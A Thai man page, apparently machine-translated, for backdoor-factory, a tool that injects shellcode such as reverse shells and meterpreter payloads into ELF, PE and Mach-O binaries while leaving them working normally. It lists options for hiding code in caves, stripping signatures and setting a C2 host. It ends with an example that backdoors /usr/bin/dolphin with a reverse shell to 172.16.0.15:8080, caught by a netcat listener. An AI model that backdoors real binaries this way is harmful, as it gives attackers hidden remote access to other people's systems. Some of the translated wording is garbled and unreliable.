backdoor-factory - ใส่ shellcode ที่กำหนดไว้ล่วงหน้าหรือผู้ใช้กำหนดในไบนารี
backdoor-factory [options]
backdoor-factory แพตช์ไบนารีที่สามารถเรียกใช้งานได้ด้วยเชลล์โค้ดที่ผู้ใช้ต้องการ และดำเนินการต่อตามปกติของสถานะที่แพตช์ไว้ล่วงหน้า
เครื่องมือนี้มีไว้สำหรับผู้เชี่ยวชาญด้านความปลอดภัยและนักวิจัยเท่านั้น
เครื่องมือนี้ไม่รองรับการเรียกทำงาน ELF ที่ย้ายตำแหน่งได้ (เช่น คอมไพล์ด้วยตัวเลือก -fPIE ซึ่งแนะนำโดยข้อกำหนดการชุบแข็งของเดเบียน โปรดดูที่ https://wiki.debian.org/Hardening)
ไบนารีเช่น ssh อาจไม่ถูกยุบอย่างถูกต้องเนื่องจากไบนารีเช่นปลาโลมา (ในขณะที่เขียนหน้า man page นี้)
แสดงข้อความช่วยเหลือนี้และออก
ไฟล์ไปที่ประตูหลัง
เพย์โหลดที่พร้อมใช้งาน ใช้ 'แสดง' เพื่อดูเพย์โหลด
IP ของ C2 สำหรับการเชื่อมต่อย้อนกลับ
พอร์ตสำหรับเชื่อมต่อกลับเพื่อรีเวิร์สเชลล์หรือเพื่อฟังการรวมเชลล์
เลือกตัวเลือกนี้หากคุณต้องการใช้ Code Cave Jumping เพื่อซ่อน Shellcode ของคุณเพิ่มเติมในไบนารี
กำหนดให้เพิ่มส่วนใหม่ลงใน exe (ประสบความสำเร็จดีกว่า) แต่หลีกเลี่ยงน้อยกว่า
เชลล์โค้ดที่ผู้ใช้ให้มา ตรวจสอบให้แน่ใจว่าตรงกับสถาปัตยกรรมที่คุณกำหนดเป้าหมาย
ธงถ้ำจะพบถ้ำรหัสที่สามารถใช้สำหรับซ่อนรหัสเชลล์ สิ่งนี้จะพิมพ์ไปยังถ้ำรหัสทั้งหมดที่มีขนาดเฉพาะ แฟล็ก -l สามารถใช้กับการตั้งค่านี้ได้
สำหรับใช้กับ -c เพื่อช่วยค้นหาถ้ำรหัสที่มีขนาดต่างกัน
เส้นทางไฟล์เอาต์พุตลับๆ ผู้ปกครองต้องมี dir(s)
ชื่อส่วนใหม่ต้องมีอักขระน้อยกว่าเจ็ดตัว
นี่คือตำแหน่งของไฟล์ที่คุณต้องการแบ็คดอร์ คุณสามารถสร้างไดเร็กทอรีของไฟล์แบ็คดอร์ได้เร็วขึ้นโดยบังคับให้แนบโค้ดเคฟกับ exe โดยใช้การตั้งค่า -a
แฟล็กนี้เปลี่ยนส่วนที่เป็นที่ตั้งของ codeca เป็น RWE บางครั้งก็จำเป็น เปิดใช้งานโดยค่าเริ่มต้น หากปิดใช้งาน ประตูหลังอาจล้มเหลว
คำสั่งนี้จะเปลี่ยนโรงงานลับๆ ในกลไกประเภท Hunt และ Shellcode Inject แก้ไขการตั้งค่าเป้าหมายในโมดูลหัวฉีด
สำหรับใช้กับหัวฉีด ให้ใส่ส่วนต่อท้ายในไฟล์ต้นฉบับเพื่อให้กู้คืนได้ง่าย
สำหรับใช้กับโมดูลหัวฉีด คำสั่งนี้จะลบไฟล์ต้นฉบับ ห้ามใช้ในระบบการผลิต (ผู้เขียนไม่รับผิดชอบต่อการใช้งานที่โง่เขลา)
จุดเริ่มต้นบนดิสก์ออฟเซ็ต หน่วยเป็นไบต์ ผู้เขียนบางคนต้องการทำให้ยุ่งเหยิงบนดิสก์ออฟเซ็ตเพื่อหลีกเลี่ยงการทำวิศวกรรมย้อนกลับ หากคุณพบว่าหนึ่งในไฟล์เหล่านั้นใช้แฟล็กนี้ หลังจากที่คุณพบออฟเซ็ตแล้ว
เพื่อตรวจสอบว่าไฟล์รองรับโดย BDF หรือไม่ก่อนที่จะทำแบ็คดอร์ไฟล์ สำหรับใช้เองหรือใช้อย่างละเอียด การตรวจสอบนี้จะเกิดขึ้นโดยอัตโนมัติหากมีการพยายามแบ็คดอร์
การใช้งานในอนาคต เพื่อช่วยกำหนด shellcode ที่เล็กที่สุดในไฟล์ PE
ฆ่าแบนเนอร์
สำหรับเอาต์พุตข้อมูลการดีบัก
ไบนารีประเภท ALL, x86 หรือ x64 เท่านั้น ค่าเริ่มต้น=ทั้งหมด
อนุญาตให้เขียนทับตัวชี้ไปยังตารางใบรับรอง PE เพื่อลบใบรับรองออกจากไบนารีได้อย่างมีประสิทธิภาพสำหรับจุดประสงค์และวัตถุประสงค์ทั้งหมด
การทดลอง ตรวจสอบไบนารี PE สำหรับ 'requestedExecutionLevel level="highestAvailable"' หากสตริงนี้รวมอยู่ในไบนารี จะต้องเรียกใช้ในฐานะ system/admin หากไม่ได้อยู่ในโหมดตรวจสอบการสนับสนุน ระบบจะพยายามแพตช์ maximumAvailable ในไฟล์ Manifest หากมีรายการ ExecutionLevel ที่ร้องขอ
ใช้การตั้งค่านี้หากคุณไม่ต้องการแพตช์ DLL แพทช์ตามค่าเริ่มต้น
สำหรับรูปแบบ MACH-O ถ้าไฟล์อ้วน ให้โฟกัสที่ arch ที่จะปะ ค่าเริ่มต้นคือ x64 ในการบังคับ x86 ให้ใช้ -F x86 เพื่อบังคับทั้งสองส่วนโค้งให้ใช้ -F ALL
สำหรับน้ำหนักบรรทุกที่มีความสามารถในการส่งสัญญาณ ให้ตั้งเวลาเป็นวินาที
วิธีการแพตช์สำหรับไฟล์ PE, 'ด้วยตนเอง', 'อัตโนมัติ', แทนที่และ onionduke
สำหรับหัวหอมดุ๊ก ระบุไบนารีที่คุณต้องการ
ค่าเริ่มต้น: ไม่รองรับเครื่องดั้งเดิม XP ให้ใช้ -X เพื่อรองรับ XP ตามค่าเริ่มต้น ไบนารีจะขัดข้องในเครื่อง XP (เช่น แซนด์บ็อกซ์)
การทดลอง ตามค่าเริ่มต้น ตารางไดเร็กทอรีนำเข้าใหม่จะถูกสร้างขึ้นในส่วนใหม่ โดยการเรียกแฟล็กนี้ ตารางจะถูกใส่ในถ้ำรหัส ซึ่งอาจทำให้เกิดความล้มเหลวของไบนารีได้ในบางกรณี ทดสอบไบนารีเป้าหมายก่อน
สำหรับผู้ที่มีใบรับรอง codesigning ที่ต้องการลงชื่อไบนารีของ PE เท่านั้น ตั้งชื่อคีย์การลงนามและคีย์ส่วนตัวของคุณ signcert.cer และ signPrivateKey.pem ตามลำดับในไดเร็กทอรี certs ซึ่งขึ้นอยู่กับคุณในการขอรับใบรับรองการลงนาม
เพื่อเรียกใช้สคริปต์การประมวลผลล่วงหน้าในไดเร็กทอรีการประมวลผลล่วงหน้า
มีเชลล์โค้ดที่กำหนดไว้ล่วงหน้าหลายตัวในแบ็คดอร์-แฟคทอรี ความพร้อมใช้งานขึ้นอยู่กับประเภทเป้าหมาย (ELF32, ELF64, PE32...) รายการ shellcodes กำหนดไว้ด้านล่าง
ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล
ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล
ต้องการ: บีคอน รีโมตโฮสต์ และพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล
ต้องการ: เชลล์โค้ดที่ผู้ใช้กำหนดพร้อมที่จะฉีด ใบอนุญาต: ขึ้นอยู่กับเชลล์โค้ด
ต้องการ: อนุญาต:
ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล
ความต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่า อนุญาต: ฉีด DLL ของเซิร์ฟเวอร์ meterpreter ผ่านเพย์โหลด Reflective Dll Injection
ความต้องการ: รีโมตโฮสต์และพอร์ตที่จะตั้งค่าอนุญาต: ตัวแปลมิเตอร์ผ่านการขนส่ง https
ความต้องการ: เชลล์โค้ดที่ผู้ใช้กำหนดพร้อมที่จะฉีด ใบอนุญาต: ขึ้นอยู่กับเชลล์โค้ด
ความต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต:
ความต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต:
ความต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่า อนุญาต: ฉีด DLL ของเซิร์ฟเวอร์ meterpreter ผ่านเพย์โหลด Reflective Dll Injection
ความต้องการ: เชลล์โค้ดที่ผู้ใช้กำหนดพร้อมที่จะฉีด ใบอนุญาต: ขึ้นอยู่กับเชลล์โค้ด
ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล
ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล
ความต้องการ: บีคอน รีโมตโฮสต์ และพอร์ตที่จะตั้งค่าการอนุญาต: การเข้าถึงเชลล์ระยะไกล
ความต้องการ: เชลล์โค้ดที่ผู้ใช้กำหนดพร้อมที่จะฉีด ใบอนุญาต: ขึ้นอยู่กับเชลล์โค้ด
ตัวอย่างการถอดรหัสไบนารีของ ELF โดยการรวมการเข้าถึงเชลล์ระยะไกลผ่านตัวฟัง TCP ระยะไกล (เช่น netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcpบนโฮสต์ที่อยู่เบื้องหลัง IP 172.16.0.15 ให้เริ่ม netcat ในโหมดฟัง:
netcat -l 172.16.0.15 8080ที่เป้าหมาย ให้เริ่มไบนารีลับๆ:
./backdoored/dolphinตอนนี้บนโฮสต์ 172.16.0.15 เพียงใช้เปลือกของคุณ
พฤษภาคม 2017 เรียบเรียงโดย Philippe Thierry (ฟิลที่ reseau-libre dot com)